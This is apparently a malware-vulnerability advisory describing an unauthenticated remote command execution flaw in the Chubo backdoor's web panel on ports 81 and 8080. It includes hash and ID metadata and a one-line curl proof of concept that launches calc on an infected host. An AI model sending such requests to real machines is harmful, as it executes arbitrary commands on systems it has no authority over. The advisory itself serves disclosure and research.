Backdoor.Win32.Chubo.c Remote Command Execution – Torchsec
Original source: https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Chubo.c
Vulnerability: Unauthenticated Remote Command Execution
Family: Chubo
Type: PE32
MD5: c16b04a9879896ef453a6deb13528087
Vuln ID: MVID-2022-0527
Disclosure: 03/26/2022
Description: The malware listens on TCP port 81 and 8080. There is a HTML web-panel that exposes the entire system and creates HTML links to run commands made available by the backdoor.
Commands:
F="./?DRV=">LIST DRIVE
Exploit/PoC:
C:>curl http://x.x.x.x:81/?EXE=calc
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